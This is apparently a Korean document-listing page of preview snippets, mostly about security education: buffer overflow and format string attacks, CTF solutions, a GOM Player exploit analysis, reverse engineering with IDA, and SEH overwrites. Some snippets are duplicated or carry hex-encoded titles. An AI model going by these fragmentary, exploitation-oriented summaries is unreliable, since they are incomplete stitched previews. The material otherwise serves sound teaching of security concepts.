Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher( 실행할페이지.jsp); 다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

Microsoft Word - GOM-StackOverFlow.doc

Microsoft Word - GOM-StackOverFlow.doc GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

슬라이드 1

슬라이드 1 명령어집합 주소지정모드 (addressing mode) 내용 명령어는크게연산자부분과이연산에필요한주소부분으로구성 이때주소부분은다양한형태를해석될수있으며, 해석하는방법을주소지정방식 ( 모드 )(addressing mode) 라한다. 즉피연산자정보를구하는방법을주소지정방식이라고함 명령어형식 주소지정 명령어형식에있는주소필드는상대적으로짧다. 따라서지정할수있는위치가제한된다.

More information

17장 클래스와 메소드

17장 클래스와 메소드 17 장클래스와메소드 박창이 서울시립대학교통계학과 박창이 ( 서울시립대학교통계학과 ) 17 장클래스와메소드 1 / 18 학습내용 객체지향특징들객체출력 init 메소드 str 메소드연산자재정의타입기반의버전다형성 (polymorphism) 박창이 ( 서울시립대학교통계학과 ) 17 장클래스와메소드 2 / 18 객체지향특징들 객체지향프로그래밍의특징 프로그램은객체와함수정의로구성되며대부분의계산은객체에대한연산으로표현됨객체의정의는

More information

Computer Architecture

Computer Architecture 명령어의구조와주소지정방식 명령어세트명령어의형식주소지정방식실제명령어의형태 이자료는김종현저 - 컴퓨터구조론 ( 생능출판사 ) 의내용을편집한것입니다. 2.4 명령어세트 (instruction set) 어떤 CPU 를위하여정의되어있는명령어들의집합 명령어세트설계를위해결정되어야할사항들 2 연산종류 (operation repertoire) CPU 가수행할연산들의수와종류및복잡도

More information

03_queue

03_queue Queue Data Structures and Algorithms 목차 큐의이해와 ADT 정의 큐의배열기반구현 큐의연결리스트기반구현 큐의활용 덱 (Deque) 의이해와구현 Data Structures and Algorithms 2 큐의이해와 ADT 정의 Data Structures and Algorithms 3 큐 (Stack) 의이해와 ADT 정의 큐는 LIFO(Last-in,

More information

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770>

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770> Parse and Parse Assembly ( 어셈블리어입문자를위한 어셈블리어자료들의모음 ) ## 목차 ## 0x01. ----------Introduce----------- 0x02. 어셈블리언어란? & 배우는목적 0x03. 어셈블리언어를위한기본지식 0x04. 어셈블리명령어의구성 0x05. 주소지정방식의이해 0x06. 어셈블리명령어정리 0x07. 어셈블리명령어상세

More information

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah

More information

학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능

학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 컴퓨터구조 제 9 강 중앙처리장치의조직과기능 학습목차 r 컴퓨터본체에서 CPU 의위치살펴보기 r CPU 의성능 r CPU 의기능 r CPU 의조직 r 레지스터의조직 r 명령어사이클 r 명령어파이프라이닝 컴퓨터구조 2 9. CPU 조직과기능 학습목표 rcpu 의성능을향상시키는요인들을알아본다. rcpu 의기본적인기능을이해한다. rcpu 는 ALU, 제어장치, 레지스터집합,

More information

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770> 시리얼번호작성루틴을뽑아내서 Brute-Force 돌리기.. 작성일 : 2005년가을작성자 : graylynx (graylynx at gmail.com) 크랙미정보 GOAL : Find the correct password No patching allowed Difficulty : 2/10 This is an exercise on brute-attacking.

More information

IoT FND8 7-SEGMENT api

IoT FND8 7-SEGMENT api IoT FND8 7-SEGMENT api http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - SEH_Overwrites_Simplified.doc SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.

More information

이 장에서 사용되는 MATLAB 명령어들은 비교적 복잡하므로 MATLAB 창에서 명령어를 직접 입력하지 않고 확장자가 m 인 text 파일을 작성하여 실행을 한다

이 장에서 사용되는 MATLAB 명령어들은 비교적 복잡하므로 MATLAB 창에서 명령어를 직접 입력하지 않고 확장자가 m 인 text 파일을 작성하여 실행을 한다 이장에서사용되는 MATLAB 명령어들은비교적복잡하므로 MATLAB 창에서명령어를직접입력하지않고확장자가 m 인 text 파일을작성하여실행을한다. 즉, test.m 과같은 text 파일을만들어서 MATLAB 프로그램을작성한후실행을한다. 이와같이하면길고복잡한 MATLAB 프로그램을작성하여실행할수있고, 오류가발생하거나수정이필요한경우손쉽게수정하여실행할수있는장점이있으며,

More information

Data Structure

Data Structure Function & Pointer C- 언어의활용을위한주요기법 (3) Dong Kyue Kim Hanyang University dqkim@hanyang.ac.kr 함수의인자전달 함수의인자전달 함수의인자전달방식 인자전달의기본방식은복사다. 함수호출시전달되는값을매개변수를통해서전달받는데, 이때에값의복사가일어난다. int main(void) int val = 10;

More information

Microsoft PowerPoint - additional01.ppt [호환 모드]

Microsoft PowerPoint - additional01.ppt [호환 모드] 1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

게시판 스팸 실시간 차단 시스템

게시판 스팸 실시간 차단 시스템 오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP

More information

목 차 1. 개요 취약점분석추진배경 CVE 취약점요약 CVE 분석 CVE 취약점개요 CVE 대상시스템목록...

목 차 1. 개요 취약점분석추진배경 CVE 취약점요약 CVE 분석 CVE 취약점개요 CVE 대상시스템목록... 취약점분석보고서 = CVE-2012-0754 = - 서준석연구원 - 2012-08-02 보안프로젝트와한국정보보호교육센터에서공동연구한것입니다. 상업적으로사용하여법적인문제가생기는경우는사용자자신에게책임이 있음을경고합니다. 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. CVE-2012-0754 취약점요약... 1 2. CVE-2012-0754

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Basic of Real World Exploit on Windows Author

Basic of Real World Exploit on Windows Author Basic of Real World Exploit on Windows Author sweetchip@wiseguys 목차 0x00 Intro 0x10 Target 0x20 Vulnerability ㄴ 0x21 What is Buffer Overflow? ㄴ 0x22 How does buffer overflow occurs? 0x30 Debugging ㄴ 0x31

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information